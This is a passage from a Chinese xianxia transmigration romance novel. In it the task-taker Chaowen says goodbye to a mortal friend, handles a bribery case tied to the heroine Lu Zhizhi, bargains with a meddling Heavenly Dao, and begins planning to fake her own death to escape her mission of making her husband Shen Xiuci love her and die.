这一来一往的,两人很快就成为了很好的酒肉朋友,什么事情都可以说,什么都可以聊,无所顾忌。朝玟也时常与他推心置腹。
朝玟手指夹着筷子撑着脑袋,惆怅的看向窗外:“你说人活这一生究竟是为了什么呢?”
林琅咽下一口肉,指了指自己:“我吗?我可不像你们仙人,能一活就是几百年几千年的,有那么多的事,那么多的责任需要肩负,我的寿命只有数十年,所追求的不过就是一个痛快而已。”
朝玟:“那不痛快的部分呢?”
林琅:“……你找茬是吧?”
朝玟撑着脸看着他,眼中含着淡淡的羡慕:“要是能够成为你这样的人,快快乐乐的,这种生活也挺好。”
林琅轻声询问:“你如今过得并不快乐吗?”
朝玟微微摇头,答道:“也说不上不快乐,大体上还算顺利。但你也明白,生活中难免会遇到需要抉择的时刻,面临一些艰难的取舍。我恰好遇到了这样的难题,心中有些不畅快罢了。”
林琅想了想,缓缓说道:“有选择就有取舍,摇摆不定,左右为难,倒也是人之常情。”
他仰头干了一杯酒,“只是有时割舍的的虽然重要,但未必割舍之后,换来的不是另一番的海阔天空。”
林琅:“若是心中已有答案,不妨试试看。”
朝玟:“……”
她听完林琅的话,若有所思。
林琅又说:“你今日来,能待多久?有空陪我去前面的汪先生那儿听出戏吗?”
朝玟摇摇头,这个世界对她来说就是一出巨大的戏剧,她没有心情再听戏中戏。
她的目光投向窗外,望了望天色,意识到时间已不早。她们边吃边聊,桌上的佳肴也已所剩无几。
“我该走了,还有诸多事务等着我去处理。”朝玟说着,准备起身。
朝玟她虽未对林琅明言她的具体身份,但从初见到现在,她的装扮始终华丽非凡,气度也绝非一般仙人所能比拟,似乎与昆仑殿有着千丝万缕的联系。若她担任仙官之职,那么她手头的事务想必是相当繁重的。
林琅点头表示理解,随即起身,伴她一同送行。
朝玟并未立即走,她迟疑了片刻,才艰难地开口:“或许以后很长一段时间,我都来不了了。”
她的声音中带着一丝愧疚,其实在她心中,她知道这可能意味着她将永远见不到林琅了。
林琅仿佛并未察觉到朝玟话语中的深意,他轻描淡写地安慰道:“那没关系啊,等你忙完之后,再来这里也是一样的。”
朝玟步履沉重,心绪不宁地走了几步,就在她即将离去之际,林琅的声音从背后将她唤住。
那少年展露笑颜,嘴角裂开,露出了一个灿烂的笑容,他对着朝玟说道。
“若是你忙完了,再来人间,记得来找我。”
朝玟的表情微微凝固,不知道林琅是否感觉到了什么,片刻的愣神之后,她轻轻应道:“好。”
……
朝玟回到昆仑殿,听到流光说沈修慈一直在偏殿她,她犹豫了一下,让流光先告诉沈修慈,待她料理完手头的一件要事,再去找他。
朝玟为赶时间,直接宣了岑源过来,将她昨日傍晚,在司政宫听到的有关张思予可能贿赂隗洛的事情全部告诉了他。
岑源听了都觉得有些不可思议:“竟然还有人敢徇私枉法,任用有污点的仙人作为官员,这可真是……”
岑源惶恐的对朝闻行了一个礼,眼神坚定:“令君后忧心了,君后不必担忧,此事全权交由我来办,定将此事查个水落石出。”
岑源办事她放心,但是这出事件,毕竟和女主有关系,朝闻怕影响了世界线,会造成什么不可控制的影响,又叮嘱他道:“还未造成真正的影响,只需敲打一番即可,不用做得太出格。”
岑源向他传来一个我懂的眼神,但是招文总感觉有一些不妙,但最终没有放在心上,岑源素来行事稳妥,干净利落,无需她太过操心。
眼看着说话的时间有些长了,朝玟不想让沈修慈等太久,又嘱咐了几句细节之后,就匆匆忙忙赶往偏殿。
沈修慈身着文武袖,半是俊逸半是落拓,侧对朝玟,端坐在廊前。
身后是一株千年不败的梅花,和永不停息的风雪,面前是一面棋盘,上面黑白二子正在激烈厮杀,你死我活。
他身为武将出身,黑白二字吞噬撕咬的时候,不像那些文臣讲究什么步步为营、策略布局,他的棋风直接而凌厉,不拘小节。
尽管外表看上去端庄秀美,还有文武袖中和煞气,但骨子里仍隐藏着一股战场磨砺出的杀伐之气,手段狠辣,目标明确,便是要将对手彻底击败,不留余地。
一出棋局,犹如决斗场,透出一股血腥杀伐之气。
朝玟施施然坐到对面,拿起一颗黑子,放下。
野蛮格斗的局面瞬间被稀释瓦解,如同一股清流注入,朝玟以文人之风骨,巧妙地转换了战局。她上场便布下了环环相扣的棋局,每一着都需细细揣摩,方能寻得破解之道。
沈修慈终于停止了立马落子的速度,思寸了半晌,才放上一颗白子。
果然啊无论是什么风格,他都能够应对自如。
朝玟又下了几颗,自愧弗如,笑道:“我输了。”
沈修慈却将棋面抹乱,不想与她论输赢:“本来就是下着玩罢了。”
他看向朝玟,目光先落在朝玟毛茸茸的衣领上。
自从十年前朝玟从北境回来,落下了病根,便格外畏寒,昆仑殿在群山之巅,终年下雪,朝玟这病就一直没有机会好。
可她又是仙
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体,感受不到寒冷,对穿着尤为不在乎,沈修慈只要在昆仑,每次只要看见她,都要先打量一番,她今日是否穿得暖和才能放心。
看见她记得,他的眼中情绪暖了几分,又观她气色红润,眉目舒展,面上浮现一抹淡笑。
但接着,似乎想起了某事,他的笑容渐渐消散,眼神中闪过一丝变化,随即开口询问:
“今日外出,是否尽兴而归?”
朝玟点点头:“尝试了一些时兴的菜,味道都还爽口,吃了就回来了。”
吃的也都不错,还算没踩雷。
沈修慈慢条斯理的抓一把棋子,收回玉盒之中。
正午出门,太阳落下前才归,只吃了一顿饭,那便是聊了很久。
“人间的美食,虽非我所偏好,但若你感兴趣,我愿意陪你一同品尝。”
他轻描淡写地补充:“如此一来,你也就不必另寻他人相伴了。”
朝玟想了想,实在是想象不出沈修慈和她一起吃肉喝酒的样子。
朝玟和他做了夫妻,却没有寻常夫妻的那种感觉,成亲后在一个屋檐下就见光死,人的缺陷都暴露无遗,最后逐渐两看生厌。
沈修慈表里如一,对她很是尊重,在她的面前,永远仪态端庄,朝玟偶尔还会发髻凌乱,但沈修慈却从未有过失仪,处处都是完美。
朝玟和他,十年来一直相敬如宾,虽是夫妻,更是君臣。
沈修慈和她一起吃饭,她的压力也很大的好不好?还是不要了吧。
朝玟很果断的摇了摇头:“我和林琅挺好的,君上您不用勉强自己。”
沈修慈:“……”
他垂下眼睫,眼眸晦暗看不出情绪。
“而且,我这次是去道别的。”朝玟也帮他收起棋子,黑棋落入玉盒中,发出环佩撞击般的清脆响声,她怅然:“这或许是我最后一次下界了。”
沈修慈:“为何?”
朝玟不想和他说,她很快调整情绪,对沈修慈到:“今日殿内可有什么事务?”
她一直都和沈修慈一起共同处理政务,沈修慈曾有段时间要带兵解决魔物动乱,仙域内政不能无人处理,便交给了朝玟一半的权力。
执掌大权不过半月光景,臣下多评论赞誉她智谋非凡,心悦诚服地臣服于她。
说她是半个昆仑之主,与沈修慈平起平坐也不为过。
所以朝玟想要知道昆仑的动向。
而且这也是她和沈修慈这么多年的聊天习惯,要是不谈正事,两人便无话可聊。
朝玟自嘲:谁家攻略者都和任务对象结婚十年了,连人都没拿下?她估计是唯一一个了吧。
她毕竟是半路出家,转组转过来的,这隔行如隔山可不是一句玩笑话。
她已经尽了自己所有的能力,自问问心无愧,结果沈修慈好感度还是这个鬼样子,她也无能为力了。
沈修慈目光温和:“一切安好。”
“昆仑殿今日风平浪静,仙域的几位不安分的,经你敲打之后,近来也没有兴风作浪,我在这下了半天棋,你就回来了。”
他嗓音和缓,又关切道:“肋骨今天还疼吗?”
提及肋骨,朝玟立刻想起了昨日自己的胡言乱语,不禁有些尴尬地回答:“今天阳光明媚,比前几天要强多了,不怎么疼了。”
实际上,疼痛依旧存在,只是经过十年的折磨,那种痛感已经融入了她的身体,成为了习惯。
每次疼痛发作,不只是简单的痛楚,更让她回想起当年那个天真地相信系统的自己。
这个教训,也算刻骨铭心,让她永远记得,当初是怎么被系统的甜言蜜语洗脑,又是怎么被它误导,做出错误的决策,最终领受了这一深刻的教训。
系统从那时起,便已经被策反,只是它良心不安,既渴望得到正规的帮助朝玟通关的丰厚回报,又无法抗拒上级承诺的积分翻倍的诱惑。
因此左右摇摆,即讨好朝玟,又给她各种误导,设下障碍。
朝玟棋差一招,她输掉了系统的支持,还与之反目成仇,作为一个向来擅长驾驭人心的谋臣,她最终却走向了绝路,成了孤家寡人。
还未等沈修慈再说下句,屏风之后突然现出一个挺拔的身影,其声音清澈而响亮地传来。
岑源道:“君后,司政宫陆芝芝,在大殿跪下,要为她师父陈情,说一定要面见君后您。”
22. 往日幻境(五)
朝玟没想到陆芝芝竟然来得这么快,她才和沈修慈说了没两句话,眨眼就来了。
“你和她师父是怎么说的?”
岑源拱手回答:“臣就是把隗洛传唤过来,只叮嘱了几句,叫他用人之前先识人,不要做些老眼昏花之事。”
岑源叹气:“谁知道臣刚说完,他就抖如筛糠,诚惶诚恐的要跟臣谢罪,这样的态度,显然是心中有鬼。臣心中生疑,便自作主张,将他暂留在此,打算进一步彻查此事。”
“谁知他那小徒弟像是能闻见她师父的味道,我前脚才把人叫来,她后脚就跟过来了,说司政宫不可无人,一定要带回她的师父,我与她说明不会为难,只是例行调查,但她还是不肯,见我不答应,她便要求要面见君后您。”
朝玟听的太阳穴突突了两下。
岑源可是百官之首,直接受命于沈修慈,这陆芝芝就这么顶撞了岑源?
沈修慈冷然出声:“何必多问,赶出去便是。”
朝玟挥手制止:“别,我还是去看看吧。”
要是别人来殿里无理取闹就算了,这可是女主。
朝玟亲自应对比较放心。
她注意到沈修慈面上的困惑,便为他释疑:“这正是我刚才耽误的事。”
朝玟将方才与岑源的对话,一字不差地复述给了沈修慈。
沈修慈听后,便蹙起眉头。
“昆仑一向律法森严,隗洛竟然敢明目张胆的给人行便?”
朝玟一听他严肃的语气便感觉不好,沈修慈比她眼里还容不得沙子,一向都是说一不二,虽说名字里带了一个慈字,但慈不掌兵,一味仁慈也做不到速平动乱,屡化浩劫。
他只是对下仁慈,对上,尤其是手握权力之人,一旦有政治失误,便是雷霆手段,决不轻饶。
果不其然,沈修慈接着对朝玟说:“我随你一同前去看看。”
朝玟按住他的肩膀,将他又按了回去,摇摇头:“君上就别去了,隗洛也还尚未犯下什么错误,人家一个小姑娘,正是不谙世事的年纪,又无一官半职,也只是担心师父罢了,我去劝几句就好了。”
她也是怕沈修慈和主角见面会产生什么连锁效应,还是她这个和原来剧情无关的人去会会这个女主更合适。
朝玟给他一个放心的眼神。
沈修慈轻轻点头,随即伸手拉住她。
朝玟眼神示意他还有什么事。
他说:“晚上要冷些,你拿个手炉再走。”
朝玟自己并未觉得寒冷,但当她感受到沈修慈掌心的温度时,才意识到自己的手有些凉。她微微点头,应道:“好。”
沈修慈仍不放心:“要捧着,不要怕热。”
朝玟又点点头,无奈笑道:“知道了。”
沈修慈一直都这样,待她很好。
只是这样的好更像是将她视为与自己志同道合的存在,朝玟在他心中的位置,更像是亲人而非爱人。
所以好感虽然有80,但因为沈修慈对她的定位,也再也难以往上。
岑源在屏风外轻轻咳嗽一声。
朝玟将一圈兔绒领系的更紧了一些,然后捧起熏香手炉,对沈修慈点点头,她步下台阶,绕过屏风,随着岑源的离开了。
……
朝玟尚未踏入大殿,便在远处瞥见殿堂中央跪着一个身着藕荷色衣裳的娇小身影。
陆芝芝的面色苍白如纸,似乎遭受了极大的打击和冤屈,她无力地抬起眼眸,望了一眼正步入殿中的朝玟,然后低头跪地,轻声呼唤。
“君后。”
这声呼唤柔弱无力,加之她脸上隐约的不平之色,使得她犹如一朵在风中摇曳、惹人怜爱的小白花。
朝玟微微挑眉,将手炉稳稳地放在膝上,声音清朗地问道:“不知你要见我,所为何事啊?”
“陆芝芝要向君后陈述冤情。”
“谁的冤情?”
“司政宫隗洛。”
“所犯何罪?”
“尚未定罪。”
朝玟笑起来:“既未定罪?那你有什么冤情可陈述的?”
陆芝芝看向站在一旁的岑源,委屈道:“岑源他私自扣留臣女的师父,已经快一个时辰了,臣女去问他,他却说不出个所以然来,司政宫上上下下,都在等师父回去,君后,请您明断!”
她的声音坚定而有力,在大殿内回响。
朝玟扫了一眼一脸无辜的岑源,缓缓道。
“你的师父是我让岑源扣的。”
陆芝芝看向岑源。
岑源在一旁耸了耸肩。
陆芝芝的脸上闪过一系列复杂的情绪,从不可置信到失望,最终这些情绪都转化为坚决的控诉。她挺直了腰杆,看着朝玟,字字掷地有声,在大殿中激起阵阵回声。
“不知君后为何要如此?”
“这般偏私舞弊,任意拘禁官员,是置仙域律法于不顾吗?!”
听到她这一番指控,朝玟翘起腿,换了个姿势捧住手炉,一脸淡然。
“……张思予你可认得?”
陆芝芝的眼中闪过一抹慌乱。
朝玟心中淡笑。
这点情绪都藏不好?还敢和她叫板。
她和看到陆芝芝以后,才有点相信系统所说的,这个世界是个降智的世界了。
“华思予在月前的殿试中,被查出考场舞弊,已被昆仑殿永久除名,不得再参与仙官的选拔。”
“他的名字,是我亲手划去的。”
“如今风波未过,你又于莲池与他结交,这本是你的私事,我也管不着。”
“但你们当日交谈的内容,却是与昆仑殿有关的大事,我实在是不能装作无事发生。”
陆芝芝默不作声,手攥紧襦裙,脸色更加苍白。
“看来你也知道,这事做不得。”
朝玟语气和缓:“小妹妹,我念你年幼,还未铸成大错,只叫你的师父来听了几句教训,叫他不要识人不清,用人不明。”
“如今只是将他留下,若是你司政殿事务确实繁忙,我现在也可委派其他的官员,暂代隗洛处理。”
可是陆芝芝却是固执。
“今日君后若是不放师父回去,陆芝芝便在这里长跪不起。”
朝玟眼神渐渐沉冷下去。
对于这种胡搅蛮缠、听不懂人话的人,她最后一丝耐心也已消耗殆尽。
朝玟本想成全她一番孝心,但是此时却出现了一个让她意想不到的意外。
和天道的聊天界面毫无征兆地在她眼前弹出,天道的白光骤然增强,仿佛带着怒气,阴郁地发问:“任务者,你这是在做什么?”
“我让你攻略沈修慈,你就好好的攻略沈修慈,我请你来,不是让你来找主角麻烦的。”
朝玟:“我可没有动他一丝一毫,你如果看到了全程就应该知道,是他自己要跪在这里的。”
天道的声音阴沉道:“那也是你先动了她的师父在先。”
朝玟解释:“我的确动了她的师父,可是她的师傅徇私舞弊,想要包庇有污点的人再次任职官员,我想彻查此事有什么错吗?”
天道咄咄逼人:“你的任务只是让沈修慈爱上你,然后顺利的让他去死,你不会真的把这些仙域的繁杂事务,也当作你的分内之事去处理了吧?”
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朝玟轻轻摩挲着手中的暖炉,沉默不语。
天道冷笑一声,命令道
“现在,你立刻给我放人。”
朝玟依旧坚持:“不行,还未查清事实,就这样放人,如何和臣下交代?再说是隗洛有错在先,我为什么要放?”
“我不管到底是谁对谁错,这个世界主角就是一切事物的中心,她做任何事情都不会错,你明白吗?”
“还是说你想收到我的投诉信?”
朝玟耳边回荡着天道越发严厉的威胁,而眼前陆芝芝楚楚可怜,带着不安的倔强。
她显然愚昧至极,如同不自量力、企图动摇朝玟权威的蝼蚁,却又似乎自信的对局面胜券在握,既天真又可恶,仿佛认定了朝玟不能拿她怎样。
朝玟突然对争辩厌倦了,疲倦的对陆芝芝摆摆手,“你先回去吧。”
“今日,我就当做此事从未发生过。”
陆芝芝的面上意外地掠过了一抹得逞的欢喜,她似乎已经达成了心中所愿,既不跪拜致谢,也没有流露出任何犯错后的愧色。她扬起裙角,如同一阵轻盈的风,提起裙摆就往殿外跑,像一朵生机烂漫被人保护的很好的花。
朝玟看着女主的背影若有所思。
天道见朝玟如此明智,不禁得意地对她说道:“你还算有点自知之明,记住了,不要再和主角有任何瓜葛。倘若你再次对她有所动作,我会毫不犹豫的去穿书局投诉你。”
天道无法在这个世界停留过久,它必须返回自己的本源空间。因此在留下这句警告之后,它便再次消失无踪。
这个天道对陆芝芝的在意程度太让朝闻感到意外了。
就这么在意这个主角?
按常理,天道应是世界秩序的体现,即便在这个世界中存在气运之子,他们拥有他人难以企及的运气和力量,但天道的判断不应受其影响。对天道而言,世界的稳定运行才是至关重要的。
然而,这位天道显然不同,它对于主角的维护超过了对于世界秩序的维护。即便是那些可能导致仙域朝堂混乱,从而影响世界稳定的细微因素,只要对女主角有利或至少无害,它都会选择默许。
倘若有像朝玟这样看不懂形势一意孤行,挑衅主角的人,它便会不顾一切的维护。
朝玟突然意识到,陆芝芝也并非全无用处,至少可以利用天道对她的关注,为她的死遁计划创造有利条件。
待陆芝芝离去之后,朝玟立刻叫住了岑源。
朝玟冷笑一声,猝不及防杀一个回马枪,吩咐岑源道。
“继续扣留隗洛,若无我的许可不许放人,彻查他从任职以来,到如今经手过的所有官员名单,如果那个姑娘再来求情,还要在殿外跪着,那就让她好好跪着,她爱跪多久跪多久,无论说什么,一概不理。”
她并未明确表示要放人,是陆芝芝自己会错了意,这样的吩咐,并不能算作反悔。
岑源原本还有些困惑,不明白朝玟为何突然一改常态,轻易便答应了放人。如今听朝玟这样说,立刻笑着领命,神清气爽的走出了殿门。
朝玟在座位上沉思。
既然天道对陆芝芝如此关心,她倒想看看这份在意能够达到什么程度。
天道上次说要投诉,这次也说同样的话,但终究只是口头上的威胁,并未付诸实际行动,就连系统也没有惊动。如果不是因为没有这个打算,那就是缺乏勇气,不过是虚张声势罢了。
反正她现在已经是走投无路,投诉与否对她来说,没有实质性的影响。
她如今光脚的不怕穿鞋的,无所畏惧,与其被他人操纵,受制于人,不如放手一搏,置之死地而后生。
23. 往日幻境(六)
陆芝芝走了之后,过了一会儿又来了,扑通一下,直接跪在了人来人往的大殿台阶上,可能是打听到了朝玟并未按照承诺放人的消息,一脸怒气冲冲。
是这次,她不再是来陈情的,而是直接怒斥朝玟。
她怒斥朝玟,没有容人之量,出尔反尔,欺骗臣下,还想要面见沈修慈,义正言辞的说要告发朝玟的真实面目,让君上不要被君后蒙骗,不要再让君后滥权。
那嗓音有极具穿透力,朝玟在她头顶的楼阁之上,扶着额头,怅然的叹了一口气。
她心中突然觉得,放弃任务或许是一个正确的决定。
这才和她交锋不到半日,昆仑殿就都快被她闹成菜市场了,要是真的将仙域交到她的人手里,她真的不敢想象未来仙域会走向何种下场。
沈修慈走到朝玟身边,看着底下那个倔强的身影。
朝玟只抬头看他一眼,就知道了他的态度。
这事是朝玟一开始揽在手中的,沈修慈不想管,只是陆芝芝想要把事情闹大,他站到朝玟的身边,就是想听听朝玟的想法。
朝玟心中动容,“这小姑娘赶不走,嚷嚷着要见你。”
“要不,你见上一见?”
沈修慈:“好。”他回答的干脆,像是早有准备。
随后他又说道:“她说的话,都是一些子虚乌有的事情,你不要放在心上。”
朝玟没反应过来,还想了想。
陆芝芝说了什么?诬告她的一些罪状?说她滥权?
朝玟好笑的摇头:“这种话还不至于让我放在心上。”
“只是……转念想想,她其实说的也在理。”朝玟沉吟着说道。
“如今仙域已经基本上稳定,君上还给我这么大的权柄,让我能够全权处置昆仑的一切事务,不需要禀报你,的确是有一些僭越了。”
沈修慈:“这样不好吗?”
“好啊,只是好归好,我却觉得惶恐。”
不久之后她就走了,到了那时,她手握的权力对她来说反而是一种累赘,要是不尽快收回来,对沈修慈来说更是一种麻烦。
她不想给沈修慈增加无形的麻烦。
“既然觉得好,那就不用惶恐。”
不知怎么,他突然又一次强调道:
“你我是夫妻。”
“当初若不是你和我联姻,仙域也不可能在短短十年恢复成如今的模样。权力虽虚无缥缈,但捏在手中可以保命,更可以取别人的性命。”
“政党之争,一步差错,便是万劫不复,当初与新旧党争之间,你选择了我,你对我如此托付,我希望你能够安全。”
朝玟怔愣的听完,说完他就走了,留朝玟久久无言。
她总感觉,虽然沈修慈没有说别的什么,但这话里仿佛有种无形的力量,将她的心拴住。
朝玟五味杂陈,心中略感烦躁。
想看好感度了。
好感度究竟到哪儿了?
她对沈修慈好感的判断,一直依赖系统,系统屏蔽她之后,她自己心中只能大概估计,却无法确定。
她从上往下俯瞰,看见他走到陆芝芝的面前。
她看见陆芝芝的双眼,在看见沈修慈面容的瞬间,陷入了一片空白。
朝玟眼睛一错不错,没有放过她脸上的任何表情。
她清楚的看见她是如何在眼神发愣之后,又慌乱低下头,脸上浮现出小女儿娇怯的红晕。
又是如何细声细气,腰肢无力一般,跪伏在地,叫沈修慈君上。
沈修慈着实是有一张很好看的皮相。
朗目疏眉,神仪明秀。
朝玟即便看了这么多年,有时也会对着他的那一张脸而陷入短暂失神。
朝玟忍不住拿自己第一次见到沈修慈时候的反应,和女主的反应做对比,从而陷入一种反思。
少女时期,就算是做些傻事,也是无伤大雅的可爱,可是朝玟已经是一个成年人,即便心中有所波动,她也不会直接表露出来,更不会露出这样犯傻,堪称花痴的表情。
为什么攻略时好感一直上不去?
也许是因为,她并非一个容易情感外显的人,缺乏少女时期那种令人羡慕的,无畏无知的冲击力和感染力。
正是因为她无法释放出那种炽热的情感,沈修慈才无法感受到,因而始终未能对她产生爱意。
可是要释放这样的情感,前题是她得有。
朝玟认为,自己对沈修慈并非全无感觉,但那种情感远远没有达到爱情的深度。
这里对她,只是一个书中的任务世界,沈修慈是天道委托给她的任务,是她职责的一部分。
她不会对一个任务目标产生爱情,系统面板的存在也无时不刻不在提醒她,她与这里格格不入。
可她对沈修慈的感情究竟是什么,她也不确定。
或许和沈修慈对待她一样,只是当作盟友。
但是朝玟觉得,即便她不明白自己对他的感情,她也可以确定,她不愿意让沈修慈走上最后任务的结局。
沈修慈这样的人,不应该因为爱而拥有把柄,不应该因为感情这样可笑的理由而死去。
沈修慈不知道对陆芝芝说了什么,朝玟逐渐看到,她的表情从憧憬和欣喜,转变成伤心和屈辱。
这样的神情,显然曾今为她争取过很多好处,她觉得屡试不爽,因此才会不断地展现出她的柔弱。
有时示弱也是一种很聪明的手段。
朝玟也承认,她长得好看,露出这样的神态,的确特别让人有保护欲。
只可惜无论是她还是沈修慈,都不吃这套。
沈修慈将她赶走了。
即便她不愿意走,沈修慈也让人强行把她拖了出去。
这时,朝玟才打开任务界面,上面正在飞快弹出的消息。
朝玟大概扫了一眼,99+的消息,全部都是骂她的。
天道在那边大骂道:“真想不到你是当面一套背面一套的人,朝玟,我看你是真的想被投诉是吧?”
朝玟:“你既然都看到了,那你为什么不在刚才阻止?只骂我有什么用?”
天道气急败坏:“我看你是真的想被投诉!”
朝玟气定神闲,“投诉我的事,我劝你再想想。”
“我们现在还是合作的关系,虽然系统已经不再汇报好感,但它不汇报,并不会影响我任务的推进,再过不久,我攻略成功,你就可以按照计划实施了,现在正是关键的时刻,你确定要在现在把我弄走,然后个什么也搞不清状况的人来接替我吗?”
天道:“……”
朝玟趁热打铁:“不如我们各自退让一步,我不去过问你的主角行事,你也别干涉我整治仙域的事务。毕竟我的行动最终将对你有益,我们互不妨碍,各得好处。”
天道思忖。
“可以,你得答应我一件事。”
“说。”
天道:“再也不要让沈修慈和主角见面。”
朝玟虽然疑惑,但也一口应下:“当然可以。”
天道又补充:“你也不许再见她。”
朝玟多问一句:“你为什么这么看重陆芝芝?”
天道:“哼,她是我选的主角,你说重不重要。”
它又威胁:“
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别再问这种莫名其妙的话,做好你该做的事,如果不成,我还是会投诉你,不会就这么算……!”
它说到一半,沈修慈回来了,朝玟还想和他再多聊几句,再撬取一些消息,可天道却匆忙的下线,像是身后有洪水猛兽在追赶。
朝玟的耳边顿时安静无比。
沈修慈走到她的面前,突然问:“刚刚有谁来过?”
朝玟手撑在椅子的扶手上转身,眼中闪过一丝惊讶,她轻轻摇头,口中回答:“没有。”心中却是震惊不已,沈修慈竟然能够察觉到与天道的交流。
天道和她沟通,按理来说是不会被发现的,可是沈修慈居然能够有所察觉,这只能说明,他的实力已经位及半神,可以感应到天地法则,甚至天道的存在。
难怪天道跑那么快,原来是心虚,怕被捉住尾巴。
陆芝芝,天道,和让天道出手的契机。
朝玟眼眸一转,立刻在心中形成了一个完美的计划。
她第一次将谋术用在自己身上,为自己谋划,才发现原来跳出她现在的困境,原来并不难。
难的是她之前竟然从没想过。
海阔天空,只在她一念之间。
只是……她看向沈修慈,脑海中闪过方才和他的对话。
刷好感那么长的时间,一直都事她和系统猜来猜去,她还从来不知道他本人,对她究竟是什么看法。
“你……”她胸腔内升起一股冲动。
朝玟仰着头,用复杂的眼神注视他,突然很想要问问他。
“你对我……”
你对我到底怀有的是什么样的感情?
想到即将要说出口的话,朝玟心跳不由得快了几拍。
这么多年,朝玟从来没有真的听沈修慈说一句与爱有关的话。
他从不表明他的心意。
即便是给了她很多权力,在她这里多次破例,也和她越来越像一对真正的夫妻,可是朝玟始终没底。
她攻略了他这么多年,实在是想要听到一个答案。
可是开口只说了半句,后面半句,却怎么也问不出口。
她的内心逐渐冷却,尽管心跳依旧稍快,但那每一下的跳动似乎都带着一丝沉重,敲击着她的耳膜。
她不知道她想要听到什么样的答案。
听到了,又能怎么样呢?
左不过,是两般失落。
还是不问得好。
朝玟闭上嘴。
沈修慈却微微弯下腰,看着她的眼睛,轻声说:“你想问我什么?”
朝玟调整好自己的情绪,勉强挤出一个微笑:“你昨天提起,人间有个方国有时令小吃,眼下正好无事,要不现在一起去尝尝?”
“你虽然不说,但我看得出来。”
朝玟眨眼睛:“昨天没答应你,你其实有点不开心。”
沈修慈站直身体,看向远处暗沉的天空,淡笑道:“现在已经很晚了。”
朝玟:“那又怎么样?”
“只要是想做的事,无论任何时候都不晚。”
见沈修慈只是柔和的看着她。
朝玟催促:“走吗?”
沈修慈没有犹豫:“走。”
朝玟开心的笑了。
这便作为她与沈修慈的道别吧。
当她离去之后,他的世界将不再有她的身影,届时天道也就无法再对他有所牵制。
到那时,无人再能掩其光辉,他也不必再为他人让路。
她没有多少时间了。
她要趁天道没有反应过来,立刻离开这里。
迟则生变,越快越好。
24. 往日幻境(七)
朝玟在天色将明时,才回到昆仑殿。
沈修慈和她于半路分别,直接去了金光崖。
魔主一直都不安分,需要他时不时就去加固一下封印,尤其是近几年,随着朝玟把好感越刷越高,天道也在暗中做了不少动作,为随时可能到来的大战做准备,封印活动得越来越频繁了,需时时警惕。
朝玟繁复的衣摆染着清晨的露珠,在仙侍的簇拥下,和流光有一搭没一搭的聊,往偏殿的方向走。
流光冰雪聪明,自朝玟揽权以来,都是她在从旁协理,语速快而清晰的在朝玟的身边说着今日的事宜。
“昨日君上批了几个仙官的奏报,命他们今日一早来陈述,君后回来的早,他们还未曾来,可稍在偏殿歇一歇……”
朝玟点点头,还未至近前,她远远就在廊下看见了一个梳着双髻,探头张望的娇俏身影。
朝玟停下步子,抬起手,流光很默契的噤声,静静跟着朝玟的视线,看向偏殿左侧的花丛。
少女肤若凝脂,唇色如娇艳的红梅,半弯着腰,卷起袖口,露出皓白的手腕,秀气的眉头微微蹙起,仔细的在地上找着什么。
她找的太过投入了,连朝玟绕到她的身后都浑然不觉。
朝玟站到她身后数步以外,好奇的看了她半响,出声问道。
“你在找什么?”
陆芝芝被吓了一跳,惊慌失措的回头,看见是朝玟,连忙跪下行礼,磕磕巴巴道。
“君,君后。”
朝玟看见她,心情颇佳,不自觉流露出一个真心的笑容来。
真是踏破铁鞋无觅处,正愁该怎么去找她,她倒好,自己送上门来了。
陆芝芝小声解释道。
“小女,小女昨日遗落了一根发簪,晚上回去卸钗环,发现不见踪影,这才来寻,不想惊扰了君后,小女这就走。”
“诶,等等。”朝玟连忙叫住她,来了岂有走的道理?
她上前一步,看向陆芝芝的发髻,果真有一处似乎少了点什么,她一脸和气道:“找都没有找到,你走什么?既然就落在了这附近,我让人帮你找找吧。”
陆芝芝斯斯艾艾的应了一声。
朝玟身后的几个仙侍无声的出列,弯腰在地上搜查起来,没一会儿,就有人捧着一支簪子,在朝玟面前献上。
朝玟拿起,问她:“可是这一支?”
陆芝芝抬眸看了一眼,又低下头:“正是。”
那是一支含苞待放的双朵梨花簪,做得很精致,朝玟见她,感觉比昨日顺眼多了,亲自上前一步,给她戴在了头上的空缺处。
这一戴,让陆芝芝整张脸都生动了起来。
“果然美人还需鲜花做配,真是漂亮。”
朝玟称赞完后,便欲走,见陆芝芝仍然跪在地上不言不动,她状做不解问:“你还有什么事吗?”
陆芝芝壮着胆子道:“敢问君后,芝芝的师父,今日可以放出来了吗?”
朝玟仿佛已经忘了这一茬,听她说起,过了好一会儿才恍然大悟的哦了一声。
“隗洛仙官啊,此事我交给岑源去办了,他正在查,可能还要关上几天。”
陆芝芝慌忙抬头,跪着向前挪了一步,急忙求情道:“君后,我师父从来秉公执法,一切都是芝芝的错,他老人家身体不好,若是夜晚惊悸,受了惊吓该如何是好。”
“还请君后开恩,让陆芝芝带师父回去,在司政宫一样配合执法,请君后通融。”
朝玟又见她俯身行礼,重重磕了一个头,面上不为所动。
那隗洛可是在沈修慈死了之后,立刻夺权上位的人,老当益壮得很,朝玟可不信他像陆芝芝所说的这么羸弱,怎么得都还有上百年可熬。
朝玟只是失笑一声:“这都是规定,我不可能因为怜悯你的师父,就坏了规矩不是?”
“若是开了这样的先河,这样让我以后还怎么做出表率?”
陆芝芝眼神坚定:“君后若是不答应,还请君后让我面见君上。”
朝玟不以为然:“何须这么麻烦,和我说也是一样的。”
陆芝芝:“若是今日见不到君上,我就在这里长跪不起。”
朝玟见她还是如此执着,觉得时机够了,准备收网,若是再逗她,恐怕过犹不及。
她眼中浮上一抹愁绪,叹气道:“不是我不让你见他,而是君上今天一早就去了金光崖,不在昆仑殿。”
朝玟干脆提议道:“你与隗洛师徒情深,要是实在担心,不如就留在昆仑殿等着,岑源那边无论审出什么消息,都是第一时间送到我这里,你跟着我,也免得你担惊受怕,寝食难安。”
陆芝芝面露惶恐,支支吾吾:“这……”
她不敢答应,朝玟却和颜悦色,递来一只手,将她扶起来。
她拉着神情害怕的陆芝芝,混着夸赞哄道:“你长得这样乖巧,又天真烂漫,昨日一见,我很喜欢你,这几日君上不在,你就陪着我,和我做个伴,如何?”
“这样,说不定我高兴了,你的师父也能快快放出来了。”
陆芝芝又作了一揖,她没有说话,也没有拒绝,但是明亮的眼睛却带着警惕,仿佛在说你耍什么花招。
朝玟也不恼她怀疑,笑着牵着她往偏殿里走。
左右是将陆芝芝绑在身边了,她的目的达到了,至于陆芝芝本人如何做想,她并不在意。
当人站得足够高时,就可以不在意许多人,还能改变许多人,能够把人变猫变狗,将伶牙俐齿变成隐忍,让一切不乖顺的,乖乖收起爪牙。
